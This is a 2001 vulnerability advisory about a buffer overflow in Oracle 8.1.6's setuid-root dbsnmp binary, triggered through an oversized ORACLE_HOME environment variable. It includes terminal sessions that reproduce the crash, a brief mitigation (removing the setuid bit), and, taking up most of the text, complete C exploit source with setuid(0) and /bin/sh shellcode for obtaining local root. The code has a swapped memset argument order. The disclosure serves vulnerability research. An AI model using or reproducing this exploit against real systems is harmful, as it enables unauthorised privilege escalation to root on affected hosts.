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Title: Local Vulnerability in dbsnmp binary
Date: 13-07-2001
Platform: Only tested in Linux but can be exported to others.
Impact: Users belonging to oracle group can obtain euid=0
Author: Juan Manuel Pascual Escriba <[EMAIL PROTECTED]>
Status: Vendor contacted
PROBLEM SUMMARY:
Buffer overflow exists if ORACLE_HOME enviroment variable is defined
with a size greater than 749 bytes
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
[oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print "A"x750'`
[oracle@proves1 8.1.6]$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault
This overflow exists in newer products like Oracle 9i and maybe in older
too.
[oracle@proves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ Failed to initialize nl component,error=462
[oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
[oracle@proves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault
IMPACT:
Any user belonging to oracle group can obtain euid=0.
SOLUTION:
Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...
I dont understand why is necesary root privileges to open ports >
1023 ?
SPECIAL THANKS:
Francisco Fernandez <[EMAIL PROTECTED]>
Ivan Sanchez
<[EMAIL PROTECTED]>
Mundo Alonso-Cuevillas <[EMAIL PROTECTED]>
--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba [EMAIL PROTECTED]
--
" In God We trust, Others We monitor "
-------------------------------------------------------------
Juan Manuel Pascual Escrib� Administrador de Sistemas
PlazaSite S.A. c/ Tom�s Bret�n 32-38
08950 Esplugues de Llobregat (Barcelona), SPAIN
Ph: +34 93 3717398 Fax: +34 93 3711968
mob: 667591142 Email: [EMAIL PROTECTED]
-------------------------------------------------------------
/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in
RH 6.2.
dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable.
Its necessary to call setuid(0) before normal shellcode.
In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal
(uid=oracle) shell for low offsets (incomplete setuid(0) jumps).
"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."
L.E.Aute
This vulnerability was researched by:
Juan Manuel Pascual <[EMAIL PROTECTED]>
Special thanks to:
Ivan Sanchez <[EMAIL PROTECTED]>
Mundo Alonso-Cuevillas <[EMAIL PROTECTED]>
*/
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"
char shellcode[] =
"\x90" /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset=OFFSET;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() -offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}
